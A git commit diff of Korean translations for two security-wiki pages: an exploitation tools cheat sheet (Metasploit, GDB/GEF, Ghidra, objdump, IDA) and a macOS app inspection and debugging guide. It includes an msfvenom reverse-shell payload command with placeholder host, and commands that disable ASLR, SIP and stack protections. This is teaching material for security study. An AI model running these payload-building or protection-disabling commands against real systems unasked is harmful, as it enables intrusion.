Translated ['exploiting/tools/README.md', 'macos-hardening/macos-securit

This commit is contained in:
Translator 2024-03-28 08:48:43 +00:00
parent dd4397c997
commit 4e53fdf949
3 changed files with 343 additions and 373 deletions

View file

@ -1,19 +1,20 @@
# Exploiting Tools
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details>
# Metasploit
## Metasploit
```
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
@ -21,129 +22,94 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
## 쉘코드
A shellcode is a small piece of code that is used as the payload in an exploit. It is typically written in assembly language and is designed to be injected into a vulnerable program to gain unauthorized access or execute arbitrary commands.
쉘코드는 공격에서 페이로드로 사용되는 작은 코드 조각입니다. 일반적으로 어셈블리 언어로 작성되며 취약한 프로그램에 주입되어 무단 액세스를 얻거나 임의의 명령을 실행하는 데 사용됩니다.
Shellcodes are commonly used in buffer overflow attacks, where the attacker overflows a buffer in a program's memory and injects the shellcode to take control of the program's execution flow.
쉘코드는 버퍼 오버플로 공격에서 일반적으로 사용됩니다. 공격자는 프로그램의 메모리에서 버퍼를 오버플로하고 쉘코드를 주입하여 프로그램의 실행 흐름을 제어합니다.
Shellcodes can be written to perform various actions, such as spawning a shell, creating a backdoor, or downloading and executing additional malware.
쉘코드는 쉘 생성, 백도어 생성 또는 추가적인 악성 코드 다운로드 및 실행과 같은 다양한 작업을 수행하기 위해 작성될 수 있습니다.
There are different types of shellcodes, including bind shellcodes, reverse shellcodes, and staged shellcodes. Each type has its own purpose and characteristics.
바인드 쉘코드, 리버스 쉘코드 및 스테이지드 쉘코드와 같은 다양한 유형의 쉘코드가 있습니다. 각 유형은 고유한 목적과 특성을 가지고 있습니다.
Shellcodes are an essential tool for penetration testers and hackers, as they allow for the exploitation of vulnerabilities and the execution of unauthorized actions on target systems.
쉘코드는 펜테스터와 해커에게 필수적인 도구로, 취약점을 악용하고 대상 시스템에서 무단 조치를 실행할 수 있도록 합니다.
### 쉘코드
```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
# GDB
## GDB
## 설치
GDB는 GNU 프로젝트의 일부로서, 디버깅 프로그램을 위한 강력한 도구입니다. GDB를 설치하려면 다음 단계를 따르세요.
### 리눅스
GDB를 리눅스에서 설치하려면 터미널을 열고 다음 명령을 실행하세요.
```bash
$ sudo apt-get install gdb
```
### macOS
macOS에서 GDB를 설치하려면 터미널을 열고 다음 명령을 실행하세요.
```bash
$ brew install gdb
```
### 윈도우
윈도우에서 GDB를 설치하려면 다음 단계를 따르세요.
1. MinGW를 설치하세요. MinGW는 Windows에서 GCC 컴파일러를 사용할 수 있도록 해주는 도구입니다.
2. MinGW 설치 중에 "mingw32-base" 및 "mingw32-gdb" 패키지를 선택하세요.
3. 설치가 완료되면 GDB를 사용할 수 있습니다.
GDB를 성공적으로 설치했다면, 다음으로 넘어가서 GDB를 사용하는 방법을 익히세요.
### 설치
```
apt-get install gdb
```
## 매개변수
**-q** --> 배너 표시 안 함\
**-x \<file>** --> 여기서 GDB 명령 자동 실행\
**-p \<pid>** --> 프로세스에 연결
### 명령어
\> **disassemble main** --> 함수를 어셈블리로 변환\
\> **disassemble 0x12345678**\
\> **set disassembly-flavor intel**\
\> **set follow-fork-mode child/parent** --> 생성된 프로세스를 따라가기\
\> **p system** --> system 함수의 주소 찾기\
\> **help**\
\> **quit**
\> **br func** --> 함수에 중단점 추가\
\> **br \*func+23**\
\> **br \*0x12345678**\
**> del NUM** --> 해당 번호의 중단점 삭제\
\> **watch EXPRESSION** --> 값이 변경되면 중단
**> run** --> 실행\
**> start** --> main에서 시작하고 중단\
\> **n/next** --> 다음 명령어 실행 (내부로 진입하지 않음)\
\> **s/step** --> 다음 명령어 실행\
\> **c/continue** --> 다음 중단점까지 계속 실행
\> **set $eip = 0x12345678** --> $eip의 값 변경\
\> **info functions** --> 함수 정보\
\> **info functions func** --> 함수의 정보\
\> **info registers** --> 레지스터의 값\
\> **bt** --> 스택\
\> **bt full** --> 자세한 스택
\> **print variable**\
\> **print 0x87654321 - 0x12345678** --> 계산\
\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> 8진수/16진수/10진수/이진수/명령어/ASCII로 내용 표시
* **x/o 0xDir\_hex**
* **x/2x $eip** --> EIP에서 2개의 워드
* **x/2x $eip -4** --> $eip - 4
* **x/8xb $eip** --> 8바이트 (b-> 바이트, h-> 2바이트, w-> 4바이트, g-> 8바이트)
* **i r eip** --> $eip의 값
* **x/w pointer** --> 포인터의 값
* **x/s pointer** --> 포인터가 가리키는 문자열
* **x/xw \&pointer** --> 포인터의 위치 주소
* **x/i $eip** —> EIP의 명령어
## [GEF](https://github.com/hugsy/gef)
### 매개변수
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### 지침
```bash
run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit
# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process
# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes
# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate
# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
@ -158,22 +124,22 @@ gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
## 트릭
### 트릭
### GDB 동일한 주소
#### GDB 동일한 주소
GDB를 디버깅하는 동안에는 **실행될 때 이진 파일에서 사용하는 주소와 약간 다를 수 있습니다.** GDB가 동일한 주소를 가지도록 하려면 다음을 수행할 수 있습니다:
디버깅 중에 GDB는 실행될 때 이용되는 이진 파일과 **약간 다른 주소를 가질 수 있습니다.** GDB가 동일한 주소를 가지도록 하려면 다음을 수행할 수 있습니다:
* `unset env LINES`
* `unset env COLUMNS`
* `set env _=<경로>` _이진 파일의 절대 경로를 입력하세요_
* 동일한 절대 경로를 사용하여 이진 파일을 공격하세요
* GDB를 사용할 때와 이진 파일을 공격할 때 `PWD``OLDPWD`는 동일해야 합니다
* 동일한 절대 경로를 사용하여 이진 파일을 이용
* GDB와 이진 파일을 이용할 때 `PWD``OLDPWD`는 동일해야 합니다
### 호출된 함수 찾기 위한 백트레이스
#### 호출된 함수 찾기 위한 백트레이스
**정적으로 링크된 이진 파일**의 경우 모든 함수는 이진 파일에 속하게 됩니다(외부 라이브러리가 아님). 이 경우 이진 파일이 사용자 입력을 요청하기 위해 따르는 흐름을 **식별하기가 어려울 수 있습니다**.\
쉽게 식별하기 위해 **gdb**를 사용하여 이진 파일을 실행하고 입력을 요청받을 때까지 실행합니다. 그런 다음 **CTRL+C**로 중지하고 **`bt`**(**백트레이스**) 명령을 사용하여 호출된 함수를 확인할 수 있습니다:
**정적으로 링크된 이진 파일**의 경우 모든 함수가 이진 파일에 속하게 됩니다(외부 라이브러리가 아님). 이 경우 **예를 들어 사용자 입력을 요청하는 이진 파일이 따르는 흐름을 식별하는 것이 어려울 수 있습니다.**\
흐름을 쉽게 식별하기 위해 **gdb**를 사용하여 이진 파일을 실행하고 사용자 입력을 요청받을 때까지 실행합니다. 그런 다음 **CTRL+C**로 중지하고 **`bt`** (**백트레이스**) 명령을 사용하여 호출된 함수를 확인할 수 있습니다:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@ -182,88 +148,86 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
## GDB 서버
### GDB 서버
`gdbserver --multi 0.0.0.0:23947` (IDA에서는 리눅스 머신과 윈도우 머신의 실행 파일의 절대 경로를 입력해야 함)
`gdbserver --multi 0.0.0.0:23947` (IDA에서는 Linux 머신의 실행 파일의 절대 경로와 Windows 머신의 절대 경로를 입력해야 함)
# Ghidra
## Ghidra
## 스택 오프셋 찾기
### 스택 오프셋 찾기
**Ghidra**는 로컬 변수의 위치에 대한 정보 덕분에 **버퍼 오버플로우에 대한 오프셋을 찾는 데 매우 유용합니다.**\
예를 들어, 아래 예에서 `local_bc`에서의 버퍼 플로우는 `0xbc`의 오프셋이 필요하다는 것을 나타냅니다. 또한, `local_10`이 캐너리 쿠키인 경우 `local_bc`에서 덮어쓰기 위한 오프셋은 `0xac`입니다.\
**Ghidra**는 **로컬 변수의 위치 정보 덕분에 버퍼 오버플로우에 대한 **오프셋**을 찾는 데 매우 유용합니다.**\
예를 들어, 아래 예에서 `local_bc`에서의 버퍼 플로우는 `0xbc`의 오프셋이 필요하다는 것을 나타냅니다. 또한, `local_10`이 캐너리 쿠키인 경우 `local_bc`에서 덮어쓰기 위한 오프셋은 `0xac`입니다.\
_RIP가 저장되는 첫 번째 0x08은 RBP에 속합니다._
![](<../../.gitbook/assets/image (616).png>)
# GCC
## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 보호 기능 없이 컴파일\
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 보호 기능 없이 컴파일하기\
**-o** --> 출력\
**-g** --> 코드 저장 (GDB에서 볼 수 있음)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> 리눅스에서 ASLR 비활성화
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux에서 ASLR 비활성화
**쉘코드 컴파일하기:**\
**쉘코드를 컴파일하는 방법:**\
**nasm -f elf assembly.asm** --> ".o" 파일 반환\
**ld assembly.o -o shellcodeout** --> 실행 가능한 파일
**ld assembly.o -o shellcodeout** --> 실행 파일
# Objdump
## Objdump
**-d** --> 실행 파일의 섹션을 **디어셈블** (컴파일된 쉘코드의 옵코드, ROP 가젯, 함수 주소 찾기 등)\
**-Mintel** --> **인텔** 구문\
**-d** --> 실행 파일의 섹션을 **디어셈블** (컴파일된 쉘코드의 옵코드, ROP 가젯, 함수 주소 찾기 등)\
**-Mintel** --> **Intel** 구문\
**-t** --> **심볼** 테이블\
**-D** --> **모두 디어셈블** (정적 변수의 주소)\
**-D** --> 모두 디어셈블 (정적 변수의 주소)\
**-s -j .dtors** --> dtors 섹션\
**-s -j .got** --> got 섹션\
\-D -s -j .plt --> **plt** 섹션 **디컴파일**\
**-TR** --> **재배치**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> 수정해야 할 "puts"의 주소\
**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT에서 수정해야 하는 "puts"의 주소\
**objdump -D ./exec | grep "VAR\_NAME"** --> 정적 변수의 주소 (이들은 DATA 섹션에 저장됨).
# 코어 덤프
## 코어 덤프
1. 프로그램을 시작하기 전에 `ulimit -c unlimited` 실행합니다.
2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 실행합니다.
3. `sudo gdb --core=\<path/core> --quiet` 실행합니다.
1. 프로그램을 시작하기 전에 `ulimit -c unlimited` 실행
2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 실행
3. `sudo gdb --core=\<path/core> --quiet` 실행
# 더 많은 정보
## 더 많은 정보
**ldd executable | grep libc.so.6** --> 주소 (ASLR이 적용되면 매번 변경됨)\
**ldd executable | grep libc.so.6** --> 주소 (ASLR이 적용된 경우, 매번 변경됨)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> 주소가 자주 변경되는지 확인하기 위한 루프\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"의 오프셋\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"의 오프셋
**strace executable** --> 실행 파일이 호출하는 함수들\
**strace executable** --> 실행 파일에서 호출된 함수들\
**rabin2 -i ejecutable -->** 모든 함수의 주소
# **Inmunity debugger**
## **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
# IDA
## IDA
## 원격 리눅스에서 디버깅하기
### 원격 리눅스에서 디버깅
IDA 폴더 안에는 리눅스 내에서 이진 파일을 디버깅하는 데 사용할 수 있는 이진 파일이 포함되어 있습니다. 이를 위해 _linux\_server_ 또는 _linux\_server64_ 바이너리를 리눅스 서버로 이동시키고 이진 파일이 포함된 폴더 내에서 실행하십시오.
IDA 폴더 안에는 리눅스 내에서 이진 파일을 디버깅하는 데 사용할 수 있는 이진 파일이 포함되어 있습니다. 이를 위해 _linux\_server_ 또는 _linux\_server64_ 바이너리를 리눅스 서버로 이동하고 해당 바이너리가 있는 폴더 내에서 실행하십시오:
```
./linux_server64 -Ppass
```
그런 다음 디버거를 구성하십시오: 디버거 (리눅스 원격) -> 프로세스 옵션...:
그런 다음, 디버거를 구성하십시오: 디버거 (리눅스 원격) --> 프로세스 옵션...:
![](<../../.gitbook/assets/image (101).png>)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**</summary>
HackTricks를 지원하는 다른 방법:
* 회사를 **HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details>

View file

@ -1,16 +1,16 @@
# macOS 앱 - 검사, 디버깅 및 퍼징
# macOS 앱 - 검사, 디버깅 및 Fuzzing
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>
@ -36,7 +36,7 @@ objdump --disassemble-symbols=_hello --x86-asm-syntax=intel toolsdemo #Disassemb
### jtool2
이 도구는 **codesign**, **otool**, **objdump**의 **대체**로 사용될 수 있으며 몇 가지 추가 기능을 제공합니다. [**여기에서 다운로드**](http://www.newosxbook.com/tools/jtool.html)하거나 `brew`를 사용하여 설치할 수 있습니다.
이 도구는 **codesign**, **otool**, **objdump**의 **대체**로 사용될 수 있으며 몇 가지 추가 기능을 제공합니다. [**여기에서 다운로드**](http://www.newosxbook.com/tools/jtool.html)하거나 `brew` 설치할 수 있습니다.
```bash
# Install
brew install --cask jtool2
@ -86,23 +86,21 @@ ldid -S/tmp/entl.xml <binary>
```
### SuspiciousPackage
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html)은 설치하기 전에 **.pkg** 파일(설치 프로그램)을 검사하고 내부를 확인하는 데 유용한 도구입니다.\
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html)은 **.pkg** 파일(설치 프로그램)을 설치하기 전에 내부를 확인하는 데 유용한 도구입니다.\
이러한 설치 프로그램에는 일반적으로 악성 소프트웨어 제작자가 악용하는 `preinstall``postinstall` bash 스크립트가 포함되어 있습니다.
### hdiutil
이 도구는 Apple 디스크 이미지(**.dmg**) 파일을 실행하기 전에 검사하기 위해 마운트할 수 있습니다:
이 도구를 사용하면 Apple 디스크 이미지(**.dmg**) 파일을 실행하기 전에 내용을 확인할 수 있습니다:
```bash
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
```
`/Volumes`에 마운트됩니다.
### Objective-C
#### 메타데이터
#### Metadata
{% hint style="danger" %}
Objective-C로 작성된 프로그램은 [Mach-O 바이너리](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)로 컴파일될 때 클래스 선언을 유지합니다. 이러한 클래스 선언에는 다음이 포함됩니다:
Objective-C로 작성된 프로그램은 [Mach-O 바이너리](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)로 컴파일될 때 **클래스 선언을 유지**합니다. 이러한 클래스 선언에는 다음이 포함됩니다:
{% endhint %}
* 클래스
@ -115,31 +113,39 @@ class-dump Kindle.app
```
#### 함수 호출
Objective-C를 사용하는 이진 파일에서 함수가 호출될 때, 컴파일된 코드는 해당 함수를 호출하는 대신 **`objc_msgSend`**를 호출합니다. 이 함수는 최종 함수를 호출합니다:
바이너리에서 Objective-C를 사용하는 함수가 호출될 때, 컴파일된 코드는 해당 함수를 호출하는 대신 **`objc_msgSend`**를 호출합니다. 이는 최종 함수를 호출할 것입니다:
![](<../../../.gitbook/assets/image (560).png>)
이 함수가 기대하는 매개변수는 다음과 같습니다:
* 첫 번째 매개변수 (**self**)는 "메시지를 수신할 클래스의 인스턴스를 가리키는 포인터"입니다. 간단히 말해, 메서드가 호출되는 객체입니다. 메서드가 클래스 메서드인 경우, 이것은 클래스 객체의 인스턴스(전체)일 것이고, 인스턴스 메서드인 경우 self는 클래스의 인스턴스로서 인스턴스화된 인스턴스를 가리킵니다.
* 두 번째 매개변수 (**op**)는 "메시지를 처리하는 메서드의 선택자"입니다. 다시 말해, 이것은 메서드의 **이름**입니다.
* 나머지 매개변수는 메서드에서 필요한 **값들**입니다 (op).
- 첫 번째 매개변수인 (**self**)은 "메시지를 수신할 클래스의 **인스턴스를 가리키는 포인터**"입니다. 간단히 말하면, 메소드가 호출되는 객체입니다. 메소드가 클래스 메소드인 경우, 이것은 클래스 객체의 인스턴스(전체)일 것이며, 인스턴스 메소드의 경우 self는 클래스의 인스턴스로 객체화된 인스턴스를 가리킵니다.
- 두 번째 매개변수인 (**op**)은 "메시지를 처리하는 메소드의 셀렉터"입니다. 간단히 말하면, 이것은 **메소드의 이름**입니다.
- 나머지 매개변수는 메소드에서 필요로 하는 **값들**입니다 (op).
| **인수** | **레지스터** | **(for) objc\_msgSend** |
ARM64에서 **`lldb`**를 사용하여 이 정보를 쉽게 얻는 방법을 확인하세요:
{% content-ref url="arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](arm64-basic-assembly.md)
{% endcontent-ref %}
x64:
| **인자** | **레지스터** | **(objc\_msgSend용) ** |
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
| **1번째 인수** | **rdi** | **self: 메서드가 호출되는 객체** |
| **2번째 인수** | **rsi** | **op: 메서드의 이름** |
| **3번째 인수** | **rdx** | **메서드에 대한 1번째 인수** |
| **4번째 인수** | **rcx** | **메서드에 대한 2번째 인수** |
| **5번째 인수** | **r8** | **메서드에 대한 3번째 인수** |
| **6번째 인수** | **r9** | **메서드에 대한 4번째 인수** |
| **7번째 이상 인수** | <p><strong>rsp+</strong><br><strong>(스택에 위치)</strong></p> | **메서드에 대한 5번째 이상의 인수** |
| **1번째 인** | **rdi** | **self: 메소드가 호출되는 객체** |
| **2번째 인자** | **rsi** | **op: 메소드의 이름** |
| **3번째 인자** | **rdx** | **메소드에 대한 1번째 인자** |
| **4번째 인자** | **rcx** | **메소드에 대한 2번째 인자** |
| **5번째 인자** | **r8** | **메소드에 대한 3번째 인자** |
| **6번째 인자** | **r9** | **메소드에 대한 4번째 인자** |
| **7번째+ 인자** | <p><strong>rsp+</strong><br><strong>(스택에)</strong></p> | **메소드에 대한 5번째+ 인자** |
### Swift
Swift 이진 파일의 경우, Objective-C 호환성이 있기 때문에 [class-dump](https://github.com/nygard/class-dump/)를 사용하여 선언을 추출할 수도 있지만 항상 가능한 것은 아닙니다.
Swift 바이너리의 경우, Objective-C 호환성이 있기 때문에 때로는 [class-dump](https://github.com/nygard/class-dump/)를 사용하여 선언을 추출할 수 있지만 항상 그렇지는 않습니다.
**`jtool -l`** 또는 **`otool -l`** 명령어를 사용하여 **`__swift5`** 접두사로 시작하는 여러 섹션을 찾을 수 있습니다.
**`jtool -l`** 또는 **`otool -l`** 명령어를 사용하여 **`__swift5`** 접두어로 시작하는 여러 섹션을 찾을 수 있습니다:
```bash
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
@ -151,9 +157,9 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
[...]
```
다음 블로그 포스트에서 이 섹션에 저장된 정보에 대한 자세한 내용을 찾을 수 있습니다: [**이 블로그 포스트에서**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
더 많은 정보를 [**이 블로그 포스트에서 찾을 수 있습니다**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
또한, **Swift 이진 파일에는 심볼이 있을 수 있습니다** (예: 라이브러리는 함수를 호출하기 위해 심볼을 저장해야 함). **심볼은 일반적으로 함수 이름과 속성에 대한 정보를 지저분하게 포함**하고 있으므로 매우 유용하며, "**demangler**"를 사용하여 원래 이름을 얻을 수 있습니다:
또한, **Swift 이진 파일에는 심볼이 포함**될 수 있습니다(예: 라이브러리는 함수를 호출하기 위해 심볼을 저장해야 함). **심볼에는 일반적으로 함수 이름과 속성에 대한 정보가 포함**되어 있으며, 이들은 보통 지저분한 방식으로 표시되므로 매우 유용하며 "**디멩글러"**가 원래 이름을 가져올 수 있습니다:
```bash
# Ghidra plugin
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
@ -163,58 +169,58 @@ swift demangle
```
### 패킹된 이진 파일
* 고엔트로피를 확인하세요.
* 문자열을 확인하세요 (거의 이해할 수 없는 문자열이 있는 경우 패킹됨).
* MacOS용 UPX 패커는 "\_\_XHDR"라는 섹션을 생성합니다.
* 고 엔트로피를 확인합니다.
* 문자열을 확인합니다 (거의 이해할 수 없는 문자열이 있는 경우, 패킹됨).
* MacOS용 UPX 패커는 "\_\_XHDR"라는 섹션을 생성합니다.
## 동적 분석
{% hint style="warning" %}
이진 파일을 디버깅하기 위해서는 **SIP를 비활성화**해야 합니다 (`csrutil disable` 또는 `csrutil enable --without debug`) 또는 이진 파일을 임시 폴더로 복사하고 `codesign --remove-signature <binary-path>`로 서명을 제거하거나 이진 파일의 디버깅을 허용해야 합니다 (이 스크립트를 사용할 수 있습니다: [여기](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)).
바이너리를 디버깅하려면 **SIP를 비활성화**해야 합니다 (`csrutil disable` 또는 `csrutil enable --without debug`) 또는 바이너리를 임시 폴더로 복사하고 `codesign --remove-signature <binary-path>`로 서명을 **제거**하거나 바이너리의 디버깅을 허용합니다 (이 스크립트를 사용할 수 있습니다 [여기](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)).
{% endhint %}
{% hint style="warning" %}
